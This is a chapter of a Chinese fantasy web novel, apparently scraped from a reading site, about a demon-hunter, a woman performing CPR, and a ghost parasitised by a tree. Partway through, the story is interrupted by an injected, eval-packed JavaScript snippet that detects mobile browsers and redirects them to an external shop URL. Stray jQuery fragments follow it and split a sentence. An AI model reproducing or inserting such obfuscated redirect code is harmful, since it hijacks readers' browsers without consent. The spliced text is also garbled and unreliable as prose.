文趣网 > 其他小说 > 捉妖师他不想死了 > 7.第七章她的幻觉
    安执霜一心要取眼前这妖性命。

    他手上的力道丝毫未减,等了许久却未感觉到长剑入体的顺滑,反而感受到一股阻力。

    他收回看向沈嘀的视线,低头看去。

    一枝洁白到近乎透明的枝叶拦在长剑与白衣妖之间。

    安执霜冷笑出声:“我竟不知你是这样的妖花,一日之内既想助沈嘀,如今还想护着这妖?”

    他一向平静地内心,此刻变得戾气十足。

    折磨了他三年,如今变成一大善人了?

    安执霜改为双手握剑,用尽全力向下刺去。

    枝叶察觉到他的杀意,眨眼间变得无比巨大,将白衣妖完全覆盖保护了起来。

    安执霜眼神一厉,召唤出本命法器——血刃。

    此刃一出,整个院子都映出一道道不详的红光。安执霜控制血刃直冲白衣妖而去!

    眼见血刃刺破枝叶,旋即堪堪触到白衣妖胸膛。

    “噗——”安执霜捂着丹田喷出一口血。

    体内妖花将他丹田毁了一遍,血刃突然没了灵力支撑,落在男人身上,连个伤口都未留下。

    安执霜眼神变得狠厉,他用手背蹭去嘴角血迹,踉踉跄跄爬起,语气十分淡然:“今天我非要你死不可。”

    他伸长手,捡起一旁的桃木剑,攥紧手心再次对准白衣妖心口。

    “我看你能救他几次?”

    哪怕他是在杀人,但在外人看来他依然贵气十足,举手投足是那么的端方。

    但安执霜知道自己乃强弩之末,如今不趁白衣妖失去意识要了他的命,等他苏醒,有危险的便是沈嘀。

    他死不足惜,但这祸事不该牵连到沈姑娘。

    几日相处,他已确定沈嘀乃活人,有通体神秘功夫的大活人。

    活人不该被这等妖物伤了性命。

    安执霜深吸一口气,咬着牙握剑下刺。

    “安医生!”

    “安执霜!”

    “救命啊!”

    沈嘀怀中抱着一人,从后院跑来。

    满院子都是她带着哭腔的叫喊声。

    看到还在原地的安执霜,沈嘀哭得更大声了:“安医生快救命!她要不行了!”

    安执霜被她打断,丹田被毁的痛楚刹那间袭遍全身,他再也控制不住摇摇欲坠的身体,砸向地面。

    长舌顾不得被发现,一个闪现来到了安执霜身旁。

    他浑身布满汗珠,脸色惨白。

    沈嘀抱着人跑来时,看到安执霜这样她也慌了:“又是心梗!”

    她早已哭得满脸泪渍,看看怀里气若游丝的千面,又看看地上已经合上双目的安执霜,沈嘀奔溃地怒吼“长舌你来!”

    她将人放在地上,快速爬到安执霜身边,双手上下交叉开始给他做心肺复苏。

    “1”

    “2“

    连续按压几十次,用手捏住他的鼻子,深吸一口给他渡气。

    循环操作,沈嘀感觉自己的手已经麻木,安执霜脸颊唇口全是她的泪水。

    “你过来把他眼皮给我扒开!”沈嘀语气急促。

    长舌慌乱地扒开他的眼睛,沈嘀扫了眼。

    “完了,瞳孔都开始扩散了。”沈嘀都没时间擦自己的鼻涕,她只是机械地执行心肺复苏步骤。

    能不能救回来她也不知道。

    一旁的透明枝丫缓缓向她靠近,用自己宽大的叶片为她挡住不知何时起肆虐的狂风,又试探地伸出一朵可爱的花朵,拂去她脸颊的泪水和鼻涕。

    那朵花看看她,再看看她手下的安执霜,停在原地像是在思考些什么。

    沈嘀根本没注意到这些,她用力按压手心,又不停地做人工呼吸。

    下一刻,她感觉自己手下的身体似乎在起伏。她不敢停下来“长舌,你摸摸脉搏!”

    不等长舌靠近。

    “咳咳咳……”安执霜吐出一口黑血,开始疯狂咳嗽。

    沈嘀见状虚脱地躺倒在一旁,嚎啕大哭“你吓死我了!你吓死我了!”

    白花用自己的枝叶拍了拍沈嘀的手背。

    沈嘀察觉到什么,看向花朵。

    她静静盯着眼前的花,明明还在抽噎却还是带着哭腔道“这不是豌豆射手吗……你咋成白色了?”

    她说完自己又笑了,她在干什么?妄想指望幻觉中的一朵花回答她吗?

    瞥了眼一旁用手帕拭血的安执霜,沈嘀安心的闭了闭眼。

    “不对!还有一个!”她翻身爬起,蹿到千面跟前。

    “安医生……”沈嘀揭开千面身上的被子,语气迟疑:“安医生,他们……”

    “他们……在进行人体试验”沈嘀语气变得憎恶:“她们把树种在千面身上了。”

    “什么?”

    安执霜愣住了,他借着长舌的力站了起来,移至千面鬼身边。

    她也被寄生了。

    安执霜盯着那株随着千面鬼呼吸而上下起伏的绿树,一时不知该说些什么。

    是庆幸自己不再是异类?亦或是他并无办法也在等死,沈嘀想让他救命的希望注定要破灭。

    他慢慢蹲在千面鬼面前,他感觉的到,千面鬼的生机全被这颗巴掌大小的绿树吸收了,千面鬼看似还活着,其实早就被吸干。

    但是对上沈嘀那张哭花了的脸,他说不出口。

    沈嘀也凑了过来,安执霜来不及阻止,她已上手摸了摸那颗树。

    “是榕树,人身上长了棵树,她是不是没救了?”

    安执霜犹豫了,他实在不知该如何开口。

    长舌也走了过来,她坐在千面鬼脸侧,将她的头抬起放在自己的腿上:“跟你说了没脑子就要跟着聪明人,你非要用你那芝麻大的脑仁来做决定。”

    “这下好了,命都要没了。”

    “生前那么苦,死后还不长心眼,你落到这个地步又怪得了谁呢。”

    长舌是看着千面鬼长大的,不过是以魂魄身份。

    千面鬼彼时还不是鬼,是个脑子不太灵光的小胖妞,自小以童养媳身份养在宅中,她那夫君也是个痴傻的,老爷怕他死了无人照料便做主让两人自小于一处玩耍。

    他想着以后这俩有个孩子,待他百年也能瞑目了。

    长舌叹了口气,俩傻子怎么会有孩子呢?俩傻子守着偌大的家业只有被吃干抹净的份。

    这不,老爷死于山贼之手,他一死旁支便被过继到他名下,顺理成章的登堂入室。

    他的儿子和儿媳呢?自然是被赶去了下人房,过上了三餐不保的日子。

    如若这样过一生,倒也算个好结局。

    可是,小胖妞随着年岁变化,出落

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17580885|204755||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    得亭亭玉立。

    不出几年被那旁支哄骗着得了手,千面鬼那脑子哪懂什么人心易变,只是某日发觉公子不再喜她是因她长得不好看。

    不好看那便换个好看的脸,公子夸哪张脸好看她就换那张。

    可是公子为什么还是不喜欢她?甚至害怕她。

    千面鬼不明白,但不影响她剥下一张张好看的脸皮,男的女的她全都有,公子一定会喜欢她的。

    长舌是在千面鬼被官府处决那日才知晓原来那个小胖妞叫林团团。

    她带走了变成魂魄的林团团,一起在这荒宅中生活了几十年。

    林团团死后才长了点脑子,可还是不够。

    长舌抹去脸颊泪水,跪在沈嘀与安执霜面前:“求两位恩人给个恩典。”

    不等应声,她继续道“团团这样,无法投胎轮回。”

    “上仙可否借我一把刀?”

    沈嘀看向她:“你别冲动,万一有救呢?”

    长舌苦笑一声:“都这样了,哪有救啊,这孩子自小就命苦,没成想到了如今这地步了还能过得更苦。”

    “这样痛苦的苟且还不如让她去投胎呢,万一下辈子做猪做狗还能有个圆满的结局。”

    安执霜没有劝她,默默朝自己的血刃画了几个符,递给她。

    长舌握着刀刃,半跪在团团身侧,她握了握对方的手柔声道:“团团最乖了,你先下去帮我探探路,不要害怕,我一直陪着你呢。”

    沈嘀早已泪流满面,她不死心地拽着安执霜的胳膊:“真的没有别的办法了吗?我们带她回去用营养液养着好不好,我来出钱!”

    安执霜不忍看她。若是今日在此的乃上仙界的修士,看到被寄生的妖鬼,肯定早已让他们魂飞魄散,哪还会让她们作如此行径。

    安执霜看得出沈嘀的心疼是真的,面对被寄生的鬼怪她没有歧视,满心满眼全是痛惜。

    一旁的透明豌豆射手不停地将自己往沈嘀怀里塞,突然眼泪连成串地从上方滴落在花心。

    透明豌豆射手伸长花蕊凑近绿树,似是在打量。

    长舌的目光变得十分坚韧,她一手抓着树冠,一手沿树根下刀。

    刀刃匀速的来回划动,只看她的手仿佛只是在随意切割。

    但是随着她的动作,林团团的身体慢慢变得透明。

    就在树根快要断裂的时刻,花朵突然拦住了长舌,一片枝叶勾着沈嘀的手不停地向前。

    沈嘀朝安执霜轻声呢喃:“安医生,忘了讲,我好像出现幻觉了,我这会一直能看到一朵花。”

    安执霜没听清,朝她投去目光。

    沈嘀没有勇气再讲,她顺着花枝的力量握上了那把刀。

    这幻觉花是让她继续切割?沈嘀思索了片刻,幻觉的来源。

    为什么呢?她低头看看千面,再瞅瞅倒了一大片的人和动物。

    突然明了!

    她是精神病啊!登记在册的那种,现在这里发生了恶性事件,她还处于发病期。

    所以这幻觉是她生成用来帮助自己的!对啊,让长舌动手,事情结束肯定会坐穿牢底。

    但是如果她来……

    思及此眼神亮了亮,她抓起衣服下摆,开始擦拭刀把,擦得很仔细。

    沈嘀小心翼翼地扶着树干,挥动刀刃用力将其割断。